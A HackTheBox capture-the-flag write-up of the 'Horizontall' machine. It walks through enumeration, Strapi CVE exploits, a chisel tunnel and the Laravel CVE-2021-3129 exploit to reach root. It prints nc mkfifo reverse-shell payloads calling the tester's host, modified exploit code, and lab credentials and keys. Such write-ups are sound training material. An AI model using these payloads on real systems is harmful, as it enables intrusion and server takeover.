Contents

HackTheBox : Horizontall WriteUp

This is my writeup for the Horizontall machine of hackthebox.com platform. The machine was retired today…so it’s now possible to publish a writeup. Remember this is just how I solved/owned the machine, maybe there are different and fast paths but…

It’s an easy machine and the good/best part is…you’ve to enumerate a “lot” and change the exploit/PoC.

Recon

First of all I run a classic nmap scan:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
nmap -sC -sV -p- horizontall.htb   
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-04 09:21 EST
Nmap scan report for horizontall.htb (10.10.11.105)
Host is up (0.025s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ee:77:41:43:d4:82:bd:3e:6e:6e:50:cd:ff:6b:0d:d5 (RSA)
|   256 3a:d5:89:d5:da:95:59:d9:df:01:68:37:ca:d5:10:b0 (ECDSA)
|_  256 4a:00:04:b4:9d:29:e7:af:37:16:1b:4f:80:2d:98:94 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-title: horizontall
|_http-server-header: nginx/1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

And let’s move to check the web server directories and subdomain (it’s usual in htb…)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
gobuster dir -u http://horizontall.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 

===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://horizontall.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/02/04 09:22:51 Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 194] [--> http://horizontall.htb/img/]
/css                  (Status: 301) [Size: 194] [--> http://horizontall.htb/css/]
/js                   (Status: 301) [Size: 194] [--> http://horizontall.htb/js/] 


wfuzz -c -z file,/usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --hc 404,301 -u http://horizontall.htb -H "Host: FUZZ.horizontall.htb" 

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://horizontall.htb/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                     
=====================================================================

000000001:   200        1 L      43 W       901 Ch      "www"                                            
000047093:   200        19 L     33 W       413 Ch      "api-prod"  

The website on the port 80 it’s just a classic website:

../images/htb-horiz/00.png
index.html

But…there is a subdomain called api-prod, let’s add it to the hosts file and check it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
curl -i -L http://api-prod.horizontall.htb/         

HTTP/1.1 200 OK
Server: nginx/1.14.0 (Ubuntu)
Date: Fri, 04 Feb 2022 14:24:33 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 413
Connection: keep-alive
Vary: Origin
Content-Security-Policy: img-src 'self' http:; block-all-mixed-content
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Last-Modified: Wed, 02 Jun 2021 20:00:29 GMT
Cache-Control: max-age=60
X-Powered-By: Strapi <strapi.io>

<!doctype html>

<html>
  <head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
    <title>Welcome to your API</title>
    <meta name="viewport" content="width=device-width, initial-scale=1" />
    <style>
    </style>
  </head>
  <body lang="en">
    <section>
      <div class="wrapper">
        <h1>Welcome.</h1>
      </div>
    </section>
  </body>
</html>

or via browser:

../images/htb-horiz/01.png
api

I fuzz it in order to check some other directories or pages:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
wfuzz -c -z file,/usr/share/wordlists/dirb/common.txt --hc 404 http://api-prod.horizontall.htb/FUZZ/

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://api-prod.horizontall.htb/FUZZ/
Total requests: 4614

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                                                                     
=====================================================================

000000001:   200        19 L     33 W       413 Ch      "http://api-prod.horizontall.htb//        
000000288:   200        16 L     101 W      854 Ch      "ADMIN"                      
000000287:   200        16 L     101 W      854 Ch      "Admin"
000000286:   200        16 L     101 W      854 Ch      "admin"                                                                    
000001003:   403        0 L      1 W        60 Ch       "connect"
000002020:   200        19 L     33 W       413 Ch      "index.html"
000003436:   200        3 L      21 W       121 Ch      "robots.txt" 
000003425:   200        0 L      21 W       507 Ch      "reviews"  
000004245:   403        0 L      1 W        60 Ch       "users"  

I’m in front of a Strapi server, I check the admin page at http://api-prod.horizontall.htb/admin/auth/login

../images/htb-horiz/02.png
admin

and after a further research I found the version at http://api-prod.horizontall.htb/admin/init

../images/htb-horiz/03.png
version

Initial foothold

I checked if there is a CVE with this particular version of strapi and…b|doom:

https://packetstormsecurity.com/files/163950/Strapi-CMS-3.0.0-beta.17.4-Remote-Code-Execution.html

I download it/save it into a file called exploit.py and run it:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
python3 exploit.py http://api-prod.horizontall.htb/ 
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit


[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQzOTg1MzE0LCJleHAiOjE2NDY1NzczMTR9.tCIE2nVdDHt6hR17IELoKmhUz1Cn6qfpAH5_-2jPdjo


$> 

Amazing, it’s working! I’ve an account into the strapi application. During my research of exploits I found another one, an RCE Authenticated. Now I can authenticate to the strapi app, using the username admin and the password SuperStrongPassword1 (as written on the exploit). Before continuing save the JSON Web Token, I’ll use it in a bit.

The exploit with the RCE Authenticaed is this one in exploit-db, let’s download it and check it:

1
2
3
4
5
searchsploit -m 50238                                                                                                                                        
  Exploit: Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated)
      URL: https://www.exploit-db.com/exploits/50238
     Path: /usr/share/exploitdb/exploits/multiple/webapps/50238.py
File Type: Python script, Unicode text, UTF-8 text executable

I changed some lines in the script for using it, the final result is:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
                # Paremeters
                url = 'http://api-prod.horizontall.htb'
                #token = sys.argv[2]
                #command = sys.argv[3]
                #lhost = sys.argv[4]
                #lport = 4444

                s = requests.session()

                r = s.post(url, verify=False) # SSL == verify=True

                headersData = {
                        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
                        'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjQzOTg1MzE0LCJleHAiOjE2NDY1NzczMTR9.tCIE2nVdDHt6hR17IELoKmhUz1Cn6qfpAH5_-2jPdjo'
                }

                postData = {
                    "plugin":"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.8 4444>/tmp/f)" 
                }

Of course if you want to use it you must change your IP and the JSON Web Token (with the one provided by the first exploit).

I open a netcat listener and I run the exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
python3 50238.py                    

=====================================
CVE-2019-19609 - Strapi RCE
-------------------------------------
@David_Uton (M3n0sD0n4ld)
https://m3n0sd0n4ld.github.io/
=====================================

[+] Successful operation!!!

and my listener:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
nc -nvlp 4444                 
listening on [any] 4444 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.105] 36860
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)


$ pwd
/opt/strapi/myapi
$ python3 -c 'import pty; pty.spawn("/bin/bash")'  
strapi@horizontall:~/myapi$ ls -ltr
ls -ltr
total 620
-rw-r--r--    1 strapi strapi   1150 May 26  2021 favicon.ico
-rw-r--r--    1 strapi strapi     69 May 26  2021 README.md
-rw-rw-r--    1 strapi strapi   1009 May 26  2021 package.json
-rw-rw-r--    1 strapi strapi 552845 May 26  2021 package-lock.json
drwxr-xr-x    3 strapi strapi   4096 May 26  2021 extensions
drwxrwxr-x    2 strapi strapi  12288 May 26  2021 build
drwxr-xr-x    3 strapi strapi   4096 May 29  2021 api
drwxr-xr-x    3 strapi strapi   4096 Jun  2  2021 public
drwxr-xr-x    5 strapi strapi   4096 Jul 29  2021 config
drwxrwxr-x 1099 strapi strapi  36864 Aug  3  2021 node_modules
strapi@horizontall:~/myapi$ cd /home
strapi@horizontall:/home$ ls
developer
strapi@horizontall:/home$ cd developer
strapi@horizontall:/home/developer$ cat user.txt

and first flag done!

A small l00t:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
strapi@horizontall:~$ cd /opt/strapi/myapi/config/environments/development
strapi@horizontall:~/myapi/config/environments/development$ cat database.json

{
  "defaultConnection": "default",
  "connections": {
    "default": {
      "connector": "strapi-hook-bookshelf",
      "settings": {
        "client": "mysql",
        "database": "strapi",
        "host": "127.0.0.1",
        "port": 3306,
        "username": "developer",
        "password": "#J!:F9Zt2u"
      },
      "options": {}
    }
  }
}

Privilege Escalation

First thing: check netstat. Ummm good:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
strapi@horizontall:~$ netstat -tulpn
netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1749/node /usr/bin/ 
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp6       0      0 :::22                   :::*                    LISTEN      -                   
tcp6       0      0 :::80                   :::*                    LISTEN      - 

There is a port, 8000, not available except for the localhost. First of all I need a stable shell and I’ll generate an ssh key pair and connect via ssh:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
strapi@horizontall:~$ ssh-keygen 
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/opt/strapi/.ssh/id_rsa): 

Created directory '/opt/strapi/.ssh'.
Enter passphrase (empty for no passphrase): 

Enter same passphrase again: 

Your identification has been saved in /opt/strapi/.ssh/id_rsa.
Your public key has been saved in /opt/strapi/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:DHmJ8mqsAqzw5cN7Gd+QzHePxPuLKdkD9zmg5PfUWbI strapi@horizontall
The key's randomart image is:
+---[RSA 2048]----+
|                 |
|       o .       |
|    . + o        |
|     o +         |
|.     .oS. .  . .|
|o. .... = + *  +o|
|+. ++  + * O *Eo.|
|o .o+ o . * *+=  |
| .. .+     oo++o |
+----[SHA256]-----+
strapi@horizontall:~$ cd /opt/strapi/.ssh/       
cd /opt/strapi/.ssh/
strapi@horizontall:~/.ssh$ cat id_rsa.pub >>authorized_keys 
cat id_rsa.pub >>authorized_keys
strapi@horizontall:~/.ssh$ chmod 500 authorized_keys
chmod 500 authorized_keys
strapi@horizontall:~/.ssh$ cat id_rsa
cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEAlsvq8N59T47p0WQeFavxX+HY4fWLAZ+pXbtAE5IQoD8tUjea
6H6DVL9rpjSyapO0jKGo52+TyRqTDTdMkTRGFnPhsXhGhSIc4ZeFRiM=
-----END RSA PRIVATE KEY-----

The idea behind is: using chisel as TCP tunnel over HTTP and check the port 8000 or, better, the application on port 8000 running as root.

I start chisel locally

1
2
3
4
./chisel server -p 9000 --reverse 
2022/02/04 09:53:10 server: Reverse tunnelling enabled
2022/02/04 09:53:10 server: Fingerprint JvUObvRuFccrH4c6/4qyGtjUqtqlv0YCvDI3UJ3JYvU=
2022/02/04 09:53:10 server: Listening on http://0.0.0.0:9000

I upload it to the horizontall machine and start it:

1
2
3
4
5
strapi@horizontall:/tmp$ wget 10.10.14.2/chisel
strapi@horizontall:/tmp$ chmod +x chisel
strapi@horizontall:/tmp$ ./chisel client 10.10.14.2:9000 R:8000:127.0.0.1:8000
2022/02/04 14:58:51 client: Connecting to ws://10.10.14.2:9000
2022/02/04 14:58:51 client: Connected (Latency 18.205933ms)

via web browser I check the address http://127.0.0.1:8000/ and…there is laravel!

../images/htb-horiz/05.png
version

And according to the home page is Laravel v8 (PHP v7.4.18)

I checked the amazing hacktricks website and: If Laravel is in debugging mode you will be able to access the code and sensitive data.

Let’s check if it is in debug mode at http://127.0.0.1:8000/profiles

../images/htb-horiz/06.png
debug

And it is.

I checked for some CVE/exploit and I found one in github - Laravel <= v8.4.2 debug mode: Remote code execution (CVE-2021-3129):

1
git clone https://github.com/zhzyker/CVE-2021-3129.git                                                             

Before doing any ohter action I run it (remember the tunnel…the attacked machine is now localhost):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
python3 exp.py http://127.0.0.1:8000                                                                                                                                                                               
[*] Try to use Laravel/RCE1 for exploitation.
[+]exploit:
[*] Laravel/RCE1 Result:

[*] Try to use Laravel/RCE2 for exploitation.
[+]exploit:
[*] Laravel/RCE2 Result:

uid=0(root) gid=0(root) groups=0(root)

[*] Try to use Laravel/RCE3 for exploitation.
[+]exploit:
[*] Laravel/RCE3 Result:


[*] Try to use Laravel/RCE4 for exploitation.
[+]exploit:
[*] Laravel/RCE4 Result:

uid=0(root) gid=0(root) groups=0(root)

[*] Try to use Laravel/RCE5 for exploitation.
[+]exploit:
[*] Laravel/RCE5 Result:

uid=0(root) gid=0(root) groups=0(root)

[*] Try to use Laravel/RCE6 for exploitation.
[+]exploit:
[*] Laravel/RCE6 Result:

uid=0(root) gid=0(root) groups=0(root)

[*] Try to use Laravel/RCE7 for exploitation.
[+]exploit:
[*] Laravel/RCE7 Result:


[*] Try to use Monolog/RCE1 for exploitation.
[+]exploit:
[*] Monolog/RCE1 Result:

uid=0(root) gid=0(root) groups=0(root)

[*] Try to use Monolog/RCE2 for exploitation.
[+]exploit:
[*] Monolog/RCE2 Result:

uid=0(root) gid=0(root) groups=0(root)

[*] Try to use Monolog/RCE3 for exploitation.
[+]exploit:
[*] Monolog/RCE3 Result:


[*] Try to use Monolog/RCE4 for exploitation.
[+]exploit:
[*] Monolog/RCE4 Result:

Oh well, is working in some Monolog RCE. I change the “system id” command with a reverse shell as:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
    __gadget_chains = {
        "Laravel/RCE1":r"""
         php -d "phar.readonly=0" ./phpggc Laravel/RCE1 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Laravel/RCE2":r"""
         php -d "phar.readonly=0" ./phpggc Laravel/RCE2 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Laravel/RCE3":r"""
         php -d "phar.readonly=0" ./phpggc Laravel/RCE3 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Laravel/RCE4":r"""
         php -d "phar.readonly=0" ./phpggc Laravel/RCE4 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Laravel/RCE5":r"""
         php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Laravel/RCE6":r"""
         php -d "phar.readonly=0" ./phpggc Laravel/RCE6 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');"" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Laravel/RCE7":r"""
         php -d "phar.readonly=0" ./phpggc Laravel/RCE7 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Monolog/RCE1":r"""
         php -d "phar.readonly=0" ./phpggc Monolog/RCE1 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Monolog/RCE2":r"""
         php -d "phar.readonly=0" ./phpggc Monolog/RCE2 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Monolog/RCE3":r"""
         php -d "phar.readonly=0" ./phpggc Monolog/RCE3 "system('rm /tmp/ff;mkfifo /tmp/ff;cat /tmp/ff|/bin/sh -i 2>&1|nc 10.10.14.2 4444>/tmp/ff');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        "Monolog/RCE4":r"""
         php -d "phar.readonly=0" ./phpggc Monolog/RCE4 id --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
    }

I start a netcat listener and run it again

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
python3 exp.py http://127.0.0.1:8000               
[*] Try to use Laravel/RCE1 for exploitation.
[+]exploit:
[*] Laravel/RCE1 Result:


[*] Try to use Laravel/RCE2 for exploitation.
[+]exploit:
[*] Laravel/RCE2 Result:


[*] Try to use Laravel/RCE3 for exploitation.
[+]exploit:
[*] Laravel/RCE3 Result:


[*] Try to use Laravel/RCE4 for exploitation.
[+]exploit:
[*] Laravel/RCE4 Result:


[*] Try to use Laravel/RCE5 for exploitation.
[+]exploit:
[*] Laravel/RCE5 Result:
...

and my listener:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.11.105] 37722
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls -ltra                 
total 68
-rw-r--r--  1 root root   148 Aug 17  2015 .profile
drwx------  2 root root  4096 May 25  2021 .ssh
drwxr-xr-x  3 root root  4096 May 25  2021 .local
-rwxr-xr-x  1 root root   185 May 28  2021 boot.sh
-rw-r--r--  1 root root  3145 Jun  1  2021 .bashrc
drwx------  3 root root  4096 Jun  3  2021 .gnupg
drwx------  2 root root  4096 Jun  3  2021 .cache
drwxr-xr-x  5 root root  4096 Jul 29  2021 .pm2
-rw-r--r--  1 root root   384 Jul 29  2021 restart.sh
lrwxrwxrwx  1 root root     9 Aug  2  2021 .bash_history -> /dev/null
-rw-------  1 root root   550 Aug  2  2021 .mysql_history
-rw-rw-rw-  1 root root 12069 Aug  3  2021 .viminfo
drwxr-xr-x 24 root root  4096 Aug 23 11:29 ..
-r--------  1 root root    33 Feb  4 14:18 root.txt
-rw-r--r--  1 root root    25 Feb  4 15:18 pid
drwx------  7 root root  4096 Feb  4 15:18 .
# 

and second flag as root done!